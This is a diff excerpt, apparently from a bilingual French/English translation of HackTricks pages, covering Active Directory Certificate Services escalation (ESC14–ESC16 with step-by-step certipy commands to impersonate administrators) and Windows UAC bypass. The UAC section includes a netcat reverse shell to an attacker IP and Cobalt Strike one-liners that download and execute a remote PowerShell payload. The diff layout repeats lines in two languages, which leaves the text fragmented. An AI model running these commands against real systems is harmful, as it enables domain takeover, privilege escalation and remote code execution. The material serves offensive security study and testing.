Demander un certificat du modèle de certificat `Machine`
|
||||
Demander un certificat à partir du modèle `Machine`
|
||||
```bash
|
||||
.\Certify.exe request /ca:<ca> /template:Machine /machine
|
||||
```
|
||||
@ -750,27 +755,27 @@ Nettoyage (optionnel)
|
||||
```bash
|
||||
Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
|
||||
```
|
||||
For more specific attack methods in various attack scenarios, please refer to the following: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
|
||||
Pour des méthodes d'attaque plus spécifiques dans divers scénarios d'attaque, veuillez consulter ce qui suit : [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
|
||||
|
||||
## EKUwu Application Policies(CVE-2024-49019) - ESC15
|
||||
|
||||
### Explication
|
||||
|
||||
La description sur https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc est remarquablement complète. Ci-dessous se trouve une citation du texte original.
|
||||
La description sur https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc est remarquablement complète. Ci‑dessous une citation du texte original.
|
||||
|
||||
Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template
|
||||
En utilisant les templates de certificats version 1 intégrés par défaut, un attaquant peut créer une CSR pour inclure des application policies qui seront préférées aux attributs Extended Key Usage configurés dans le template. La seule exigence est d'avoir des enrollment rights, et cela peut être utilisé pour générer des certificats client (client authentication), des certificate request agent, et des certificats de codesigning en utilisant le template **_WebServer_**.
|
||||
|
||||
### Abus
|
||||
|
||||
Le texte suivant fait référence à [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Cliquez pour voir des méthodes d'utilisation plus détaillées.
|
||||
La référence suivante renvoie à [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods.
|
||||
|
||||
Certipy's `find` command can help identify V1 templates that are potentially susceptible to ESC15 if the CA is unpatched.
|
||||
La commande `find` de Certipy peut aider à identifier les templates V1 potentiellement vulnérables à ESC15 si la CA n'est pas patchée.
|
||||
```bash
|
||||
certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
|
||||
```
|
||||
#### Scénario A : Usurpation directe via Schannel
|
||||
|
||||
**Étape 1 : Demander un certificat, en injectant l'Application Policy "Client Authentication" et le UPN cible.** L'attaquant `attacker@corp.local` cible `administrator@corp.local` en utilisant le template V1 "WebServer" (which allows enrollee-supplied subject).
|
||||
**Étape 1 : Demander un certificat, en injectant la politique d'application "Client Authentication" et le UPN cible.** L'attaquant `attacker@corp.local` cible `administrator@corp.local` en utilisant le template "WebServer" V1 (qui permet au demandeur de fournir le sujet).
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
@ -783,13 +788,13 @@ certipy req \
|
||||
- `-application-policies 'Client Authentication'`: Injecte l'OID `1.3.6.1.5.5.7.3.2` dans l'extension Application Policies du CSR.
|
||||
- `-upn 'administrator@corp.local'`: Définit le UPN dans le SAN pour l'usurpation d'identité.
|
||||
|
||||
**Step 2: S'authentifier via Schannel (LDAPS) en utilisant le certificat obtenu.**
|
||||
**Étape 2 : s'authentifier via Schannel (LDAPS) en utilisant le certificat obtenu.**
|
||||
```bash
|
||||
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
|
||||
```
|
||||
#### Scénario B : PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
|
||||
#### Scénario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
|
||||
|
||||
**Étape 1 : demander un certificat à partir d'un V1 template (with "Enrollee supplies subject"), en injectant l'Application Policy "Certificate Request Agent".** Ce certificat est destiné à l'attaquant (`attacker@corp.local`) pour devenir un enrollment agent. Aucun UPN n'est spécifié pour l'identité de l'attaquant ici, car l'objectif est la capacité d'enrollment agent.
|
||||
**Étape 1 : Demander un certificat à partir d'un V1 template (avec "Enrollee supplies subject"), en injectant l'Application Policy "Certificate Request Agent".** Ce certificat permet à l'attaquant (`attacker@corp.local`) de devenir un enrollment agent. Aucun UPN n'est spécifié pour l'identité de l'attaquant ici, car l'objectif est la capacité d'agent.
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
@ -799,7 +804,7 @@ certipy req \
|
||||
```
|
||||
- `-application-policies 'Certificate Request Agent'`: Injecte l'OID `1.3.6.1.4.1.311.20.2.1`.
|
||||
|
||||
**Étape 2 : Utiliser le certificat "agent" pour demander un certificat au nom d'un utilisateur privilégié cible.** Il s'agit d'une étape de type ESC3, utilisant le certificat de l'étape 1 comme certificat agent.
|
||||
**Étape 2 : Utiliser le certificat "agent" pour demander un certificat au nom d'un utilisateur privilégié ciblé.** C'est une étape ESC3-like, en utilisant le certificat de l'étape 1 comme certificat agent.
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
@ -807,56 +812,56 @@ certipy req \
|
||||
-ca 'CORP-CA' -template 'User' \
|
||||
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
|
||||
```
|
||||
**Étape 3 : S'authentifier en tant qu'utilisateur privilégié en utilisant le certificat "on-behalf-of".**
|
||||
**Étape 3: Authentifiez-vous en tant qu'utilisateur privilégié en utilisant le certificat "on-behalf-of".**
|
||||
```bash
|
||||
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
|
||||
```
|
||||
## Security Extension Disabled on CA (Globally)-ESC16
|
||||
|
||||
### Explication
|
||||
### Explanation
|
||||
|
||||
**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** fait référence au scénario où, si la configuration de AD CS n'impose pas l'inclusion de l'extension **szOID_NTDS_CA_SECURITY_EXT** dans tous les certificats, un attaquant peut exploiter cela en :
|
||||
**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** fait référence au scénario où, si la configuration d'AD CS n'impose pas l'inclusion de l'extension **szOID_NTDS_CA_SECURITY_EXT** dans tous les certificats, un attaquant peut exploiter cela en :
|
||||
|
||||
1. Demander un certificat **sans SID binding**.
|
||||
1. En demandant un certificat **sans SID binding**.
|
||||
|
||||
2. Utiliser ce certificat **pour s'authentifier comme n'importe quel compte**, par exemple en usurpant un compte à privilèges élevés (p. ex., un Domain Administrator).
|
||||
2. En utilisant ce certificat **pour s'authentifier comme n'importe quel compte**, par exemple en se faisant passer pour un compte à haut privilège (p.ex., un Domain Administrator).
|
||||
|
||||
Vous pouvez également consulter cet article pour en savoir plus sur le principe détaillé :https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
|
||||
Vous pouvez également consulter cet article pour en savoir plus sur le principe détaillé : https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
|
||||
|
||||
### Abus
|
||||
### Abuse
|
||||
|
||||
La référence suivante renvoie à [ce lien](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), cliquez pour voir des méthodes d'utilisation plus détaillées.
|
||||
La suite se réfère à [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), cliquez pour voir des méthodes d'utilisation plus détaillées.
|
||||
|
||||
Pour déterminer si l'environnement Active Directory Certificate Services (AD CS) est vulnérable à **ESC16**
|
||||
Pour identifier si l'environnement Active Directory Certificate Services (AD CS) est vulnérable à **ESC16**
|
||||
```bash
|
||||
certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
|
||||
```
|
||||
**Étape 1 : Lire le UPN initial du compte victime (Optionnel - pour la restauration).
|
||||
**Étape 1 : Lire l'UPN initial du compte victime (Optionnel - pour la restauration).
|
||||
```bash
|
||||
certipy account \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -user 'victim' \
|
||||
read
|
||||
```
|
||||
**Étape 2 : Mettre à jour l'UPN du compte victime avec le `sAMAccountName` de l'administrateur ciblé.**
|
||||
**Étape 2 : Mettre à jour le UPN du compte de la victime avec le `sAMAccountName` de l'administrateur cible.**
|
||||
```bash
|
||||
certipy account \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -upn 'administrator' \
|
||||
-user 'victim' update
|
||||
```
|
||||
**Étape 3 : (Si nécessaire) Obtenir des identifiants pour le compte "victim" (par exemple, via Shadow Credentials).**
|
||||
**Étape 3 : (si nécessaire) Obtenir les identifiants du compte "victim" (par exemple, via Shadow Credentials).**
|
||||
```shell
|
||||
certipy shadow \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -account 'victim' \
|
||||
auto
|
||||
```
|
||||
**Étape 4 : Demandez un certificat en tant qu'utilisateur "victim" à partir de _n'importe quel modèle d'authentification client approprié_ (p. ex., "User") sur la CA vulnérable à ESC16.** Comme la CA est vulnérable à ESC16, elle omettra automatiquement l'extension de sécurité SID du certificat émis, indépendamment des paramètres spécifiques du modèle pour cette extension. Définissez la variable d'environnement du cache d'identifiants Kerberos (commande shell) :
|
||||
**Étape 4 : Demandez un certificat en tant qu'utilisateur "victim" à partir de _n'importe quel modèle d'authentification client adapté_ (e.g., "User") sur la CA vulnérable à ESC16.** Parce que la CA est vulnérable à ESC16, elle omettra automatiquement l'extension de sécurité SID du certificat émis, quelle que soit la configuration spécifique du modèle pour cette extension. Définissez la variable d'environnement du cache d'identifiants Kerberos (commande shell) :
|
||||
```bash
|
||||
export KRB5CCNAME=victim.ccache
|
||||
```
|
||||
Ensuite, demandez le certificat :
|
||||
Puis demandez le certificat :
|
||||
```bash
|
||||
certipy req \
|
||||
-k -dc-ip '10.0.0.100' \
|
||||
@ -876,18 +881,18 @@ certipy auth \
|
||||
-dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
|
||||
-username 'administrator' -domain 'corp.local'
|
||||
```
|
||||
## Compromising Forests with Certificates Explained in Passive Voice
|
||||
## Compromission des forêts par des certificats expliquée à la voix passive
|
||||
|
||||
### Breaking of Forest Trusts by Compromised CAs
|
||||
### Rupture des trusts de forêt par des CA compromises
|
||||
|
||||
La configuration pour le **cross-forest enrollment** est relativement simple. Le **root CA certificate** de la forêt de ressources est **publié dans les account forests** par les administrateurs, et les certificats de l'**Enterprise CA** de la forêt de ressources sont **ajoutés aux conteneurs `NTAuthCertificates` et AIA dans chaque account forest**. Pour clarifier, cette disposition confère à la **CA de la forêt de ressources un contrôle total** sur toutes les autres forêts pour lesquelles elle gère la PKI. Si cette CA est **compromise par des attaquants**, des certificats pour tous les utilisateurs tant de la forêt de ressources que des forêts de comptes pourraient être **falsifiés par ceux-ci**, brisant ainsi la frontière de sécurité de la forêt.
|
||||
La configuration pour l'**enrôlement inter-forêts** est rendue relativement simple. Le **certificat root CA** de la forêt de ressources est **publié dans les forêts de comptes** par les administrateurs, et les certificats de l'**enterprise CA** de la forêt de ressources sont **ajoutés aux conteneurs `NTAuthCertificates` et AIA dans chaque forêt de comptes**. Pour clarifier, cette disposition confère à la **CA de la forêt de ressources un contrôle complet** sur toutes les autres forêts pour lesquelles elle gère la PKI. Si cette CA était **compromise par des attaquants**, des certificats pour tous les utilisateurs des forêts de ressources et de comptes pourraient être **forgés par ceux-ci**, rompant ainsi la frontière de sécurité de la forêt.
|
||||
|
||||
### Enrollment Privileges Granted to Foreign Principals
|
||||
### Privilèges d'enrôlement accordés aux principaux étrangers
|
||||
|
||||
Dans des environnements multi-forêts, il convient d'être prudent concernant les Enterprise CAs qui **publish certificate templates** autorisant les **Authenticated Users or foreign principals** (utilisateurs/groupes externes à la forêt à laquelle appartient l'Enterprise CA) à **enrollment and edit rights**.\
|
||||
Lorsqu'une authentification s'effectue via un trust, l'**Authenticated Users SID** est ajouté au token de l'utilisateur par AD. Ainsi, si un domaine possède une Enterprise CA avec un template qui **allows Authenticated Users enrollment rights**, un template pourrait potentiellement être **enrolled by a user from a different forest**. De même, si des **enrollment rights** sont explicitement accordés à un foreign principal par un template, une **cross-forest access-control relationship** est alors créée, permettant à un principal d'une forêt de **enroll in a template from another forest**.
|
||||
Dans les environnements multi-forêts, il convient de se montrer prudent concernant les Enterprise CAs qui **publient des templates de certificats** permettant aux **Authenticated Users** ou aux principaux étrangers (utilisateurs/groupes externes à la forêt à laquelle appartient l'Enterprise CA) des **droits d'enrôlement et de modification**.\
|
||||
Lors de l'authentification via un trust, l'**Authenticated Users SID** est ajouté au token de l'utilisateur par AD. Ainsi, si un domaine possède une Enterprise CA avec un template qui **autorise l'enrôlement aux Authenticated Users**, un template pourrait potentiellement être **enrôlé par un utilisateur d'une autre forêt**. De même, si des **droits d'enrôlement sont explicitement accordés à un principal étranger par un template**, une **relation de contrôle d'accès inter-forêts est alors créée**, permettant à un principal d'une forêt de **s'enrôler dans un template d'une autre forêt**.
|
||||
|
||||
Les deux scénarios entraînent une **augmentation de la surface d'attaque** d'une forêt vers une autre. Les paramètres du certificate template pourraient être exploités par un attaquant pour obtenir des privilèges supplémentaires dans un domaine étranger.
|
||||
Les deux scénarios entraînent une **augmentation de la surface d'attaque** d'une forêt vers une autre. Les paramètres du template de certificat pourraient être exploités par un attaquant pour obtenir des privilèges supplémentaires dans un domaine étranger.
|
||||
|
||||
|
||||
## References
|
||||
|
@ -4,37 +4,37 @@
|
||||
|
||||
## UAC
|
||||
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) est une fonctionnalité qui affiche une **invite de consentement pour les opérations nécessitant des privilèges élevés**. Les applications ont différents `integrity` levels, et un programme avec un **niveau élevé** peut effectuer des tâches qui **pourraient potentiellement compromettre le système**. Lorsque UAC est activé, les applications et les tâches s'exécutent toujours **dans le contexte de sécurité d'un compte non administrateur** à moins qu'un administrateur n'autorise explicitement ces applications/tâches à disposer d'un accès de niveau administrateur au système pour s'exécuter. C'est une fonctionnalité de confort qui protège les administrateurs contre des changements involontaires mais qui n'est pas considérée comme une frontière de sécurité.
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is a feature that enables a **consent prompt for elevated activities**. Applications have different `integrity` levels, and a program with a **high level** can perform tasks that **could potentially compromise the system**. When UAC is enabled, applications and tasks always **run under the security context of a non-administrator account** unless an administrator explicitly authorizes these applications/tasks to have administrator-level access to the system to run. It is a convenience feature that protects administrators from unintended changes but is not considered a security boundary.
|
||||
|
||||
Pour plus d'infos sur les niveaux d'intégrité :
|
||||
For more info about integrity levels:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../windows-local-privilege-escalation/integrity-levels.md
|
||||
{{#endref}}
|
||||
|
||||
Lorsque UAC est en place, un utilisateur administrateur reçoit 2 jetons : un jeton d'utilisateur standard, pour effectuer les actions régulières au niveau standard, et un jeton avec les privilèges administrateur.
|
||||
When UAC is in place, an administrator user is given 2 tokens: a standard user key, to perform regular actions as regular level, and one with the admin privileges.
|
||||
|
||||
This [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) explique en profondeur le fonctionnement de UAC et couvre le processus de connexion, l'expérience utilisateur et l'architecture de UAC. Les administrateurs peuvent utiliser des politiques de sécurité pour configurer le comportement de UAC spécifique à leur organisation au niveau local (via secpol.msc), ou les configurer et les déployer via des Group Policy Objects (GPO) dans un environnement de domaine Active Directory. Les différents paramètres sont décrits en détail [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Il y a 10 paramètres de Group Policy qui peuvent être définis pour UAC. Le tableau suivant fournit des détails supplémentaires :
|
||||
This [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) discusses how UAC works in great depth and includes the logon process, user experience, and UAC architecture. Administrators can use security policies to configure how UAC works specific to their organization at the local level (using secpol.msc), or configured and pushed out via Group Policy Objects (GPO) in an Active Directory domain environment. The various settings are discussed in detail [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). There are 10 Group Policy settings that can be set for UAC. The following table provides additional detail:
|
||||
|
||||
| Group Policy Setting | Registry Key | Default Setting |
|
||||
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
|
||||
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabled |
|
||||
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabled |
|
||||
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Désactivé |
|
||||
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Désactivé |
|
||||
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries |
|
||||
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop |
|
||||
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Enabled (default for home) Disabled (default for enterprise) |
|
||||
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabled |
|
||||
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Enabled |
|
||||
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Enabled |
|
||||
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Enabled |
|
||||
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Enabled |
|
||||
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Activé (default for Home) Désactivé (default for Enterprise) |
|
||||
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Désactivé |
|
||||
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Activé |
|
||||
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Activé |
|
||||
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Activé |
|
||||
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Activé |
|
||||
|
||||
### UAC Bypass Theory
|
||||
|
||||
Some programs are **autoelevated automatically** if the **user belongs** to the **administrator group**. These binaries have inside their _**Manifests**_ the _**autoElevate**_ option with value _**True**_. The binary has to be **signed by Microsoft** also.
|
||||
|
||||
Many auto-elevate processes expose **functionality via COM objects or RPC servers**, which can be invoked from processes running with medium integrity (privilèges d'utilisateur standard). Note that COM (Component Object Model) and RPC (Remote Procedure Call) are methods Windows programs use to communicate and execute functions across different processes. For example, **`IFileOperation COM object`** is designed to handle file operations (copying, deleting, moving) and can automatically elevate privileges without a prompt.
|
||||
Many auto-elevate processes expose **functionality via COM objects or RPC servers**, which can be invoked from processes running with medium integrity (regular user-level privileges). Note that COM (Component Object Model) and RPC (Remote Procedure Call) are methods Windows programs use to communicate and execute functions across different processes. For example, **`IFileOperation COM object`** is designed to handle file operations (copying, deleting, moving) and can automatically elevate privileges without a prompt.
|
||||
|
||||
Note that some checks might be performed, like checking if the process was run from the **System32 directory**, which can be bypassed for example **injecting into explorer.exe** or another System32-located executable.
|
||||
|
||||
@ -53,7 +53,7 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
|
||||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||
EnableLUA REG_DWORD 0x1
|
||||
```
|
||||
Si c'est **`1`** alors UAC est **activé**, si c'est **`0`** ou s'il **n'existe pas**, alors UAC est **inactif**.
|
||||
Si c'est **`1`**, alors UAC est **activé**, si c'est **`0`** ou qu'il **n'existe pas**, alors UAC est **inactif**.
|
||||
|
||||
Ensuite, vérifiez **quel niveau** est configuré :
|
||||
```
|
||||
@ -62,7 +62,7 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
|
||||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||
ConsentPromptBehaviorAdmin REG_DWORD 0x5
|
||||
```
|
||||
- If **`0`** then, UAC won't prompt (like **disabled**)
|
||||
- If **`0`** then, UAC won't prompt (like **désactivé**)
|
||||
- If **`1`** the admin is **asked for username and password** to execute the binary with high rights (on Secure Desktop)
|
||||
- If **`2`** (**Always notify me**) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop)
|
||||
- If **`3`** like `1` but not necessary on Secure Desktop
|
||||
@ -75,7 +75,7 @@ If the value is **`0`**, then, only the **RID 500** user (**built-in Administrat
|
||||
And, finally take a look at the value of the key **`FilterAdministratorToken`**\
|
||||
If **`0`**(default), the **built-in Administrator account can** do remote administration tasks and if **`1`** the built-in account Administrator **cannot** do remote administration tasks, unless `LocalAccountTokenFilterPolicy` is set to `1`.
|
||||
|
||||
#### Summary
|
||||
#### Résumé
|
||||
|
||||
- If `EnableLUA=0` or **doesn't exist**, **no UAC for anyone**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone**
|
||||
@ -92,15 +92,15 @@ whoami /groups | findstr Level
|
||||
## UAC bypass
|
||||
|
||||
> [!TIP]
|
||||
> Notez que si vous avez un accès graphique à la victime, le UAC bypass est simple : il suffit de cliquer sur "Yes" lorsque l'invite UAC apparaît
|
||||
> Notez que si vous avez un accès graphique à la victime, UAC bypass est simple car vous pouvez simplement cliquer sur "Yes" lorsque l'invite UAC apparaît
|
||||
|
||||
Le UAC bypass est nécessaire dans la situation suivante : **le UAC est activé, votre processus s'exécute dans un contexte d'intégrité moyen, et votre utilisateur appartient au groupe Administrators**.
|
||||
The UAC bypass is needed in the following situation: **the UAC is activated, your process is running in a medium integrity context, and your user belongs to the administrators group**.
|
||||
|
||||
Il est important de préciser qu'il est **beaucoup plus difficile de contourner le UAC s'il est réglé au niveau de sécurité le plus élevé (Always) que s'il est dans l'un des autres niveaux (Default).**
|
||||
Il est important de mentionner qu'il est **beaucoup plus difficile de bypasser le UAC s'il est au niveau de sécurité le plus élevé (Always) que s'il est dans l'un des autres niveaux (Default).**
|
||||
|
||||
### UAC désactivé
|
||||
### UAC disabled
|
||||
|
||||
Si UAC est déjà désactivé (`ConsentPromptBehaviorAdmin` est **`0`**) vous pouvez **exécuter un reverse shell avec des privilèges admin** (niveau d'intégrité élevé) en utilisant quelque chose comme :
|
||||
Si le UAC est déjà désactivé (`ConsentPromptBehaviorAdmin` est **`0`**) vous pouvez **exécuter un reverse shell avec des privilèges admin** (high integrity level) en utilisant quelque chose comme :
|
||||
```bash
|
||||
#Put your reverse shell instead of "calc.exe"
|
||||
Start-Process powershell -Verb runAs "calc.exe"
|
||||
@ -113,7 +113,7 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
|
||||
|
||||
### **Très** basique UAC "bypass" (accès complet au système de fichiers)
|
||||
|
||||
Si vous avez un shell avec un utilisateur qui appartient au groupe Administrators, vous pouvez **mount the C$** partagé via SMB sur un nouveau disque local et vous aurez **accès à tout le système de fichiers** (même le dossier personnel de Administrator).
|
||||
Si vous avez un shell avec un utilisateur qui fait partie du groupe Administrators vous pouvez **monter le partage C$** via SMB (file system) localement en tant que nouveau disque et vous aurez **accès à tout le contenu du système de fichiers** (même le dossier personnel d'Administrator).
|
||||
|
||||
> [!WARNING]
|
||||
> **Il semble que cette astuce ne fonctionne plus**
|
||||
@ -124,7 +124,7 @@ cd C$
|
||||
#Or you could just access it:
|
||||
dir \\127.0.0.1\c$\Users\Administrator\Desktop
|
||||
```
|
||||
### Contournement UAC avec cobalt strike
|
||||
### UAC bypass avec cobalt strike
|
||||
|
||||
Les techniques de Cobalt Strike ne fonctionneront que si UAC n'est pas réglé à son niveau de sécurité maximal.
|
||||
```bash
|
||||
@ -138,18 +138,18 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
|
||||
# Bypass UAC with CMSTPLUA COM interface
|
||||
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
|
||||
```
|
||||
**Empire** et **Metasploit** ont également plusieurs modules pour **bypass** le **UAC**.
|
||||
**Empire** et **Metasploit** disposent également de plusieurs modules pour **bypass** l'**UAC**.
|
||||
|
||||
### KRBUACBypass
|
||||
|
||||
Documentation et outil dans [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
|
||||
Documentation et outil : [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
|
||||
|
||||
### UAC bypass exploits
|
||||
|
||||
[**UACME** ](https://github.com/hfiref0x/UACME) qui est une **compilation** de plusieurs UAC bypass exploits. Notez que vous devrez **compiler UACME en utilisant visual studio ou msbuild**. La compilation créera plusieurs exécutables (comme `Source\Akagi\outout\x64\Debug\Akagi.exe`), vous devrez savoir **lequel vous faut.**\
|
||||
Vous devriez **faire attention** car certains bypasses vont **provoquer des invites dans d'autres programmes** qui vont **alerter** l'**utilisateur** que quelque chose se produit.
|
||||
Vous devez **faire attention** car certains bypasses vont **faire apparaître d'autres programmes** qui vont **alerter** l'**utilisateur** que quelque chose se passe.
|
||||
|
||||
UACME indique la **build version à partir de laquelle chaque technique a commencé à fonctionner**. Vous pouvez rechercher une technique affectant vos versions:
|
||||
UACME indique la **version de build depuis laquelle chaque technique a commencé à fonctionner**. Vous pouvez rechercher une technique affectant vos versions:
|
||||
```
|
||||
PS C:\> [environment]::OSVersion.Version
|
||||
|
||||
@ -157,17 +157,17 @@ Major Minor Build Revision
|
||||
----- ----- ----- --------
|
||||
10 0 14393 0
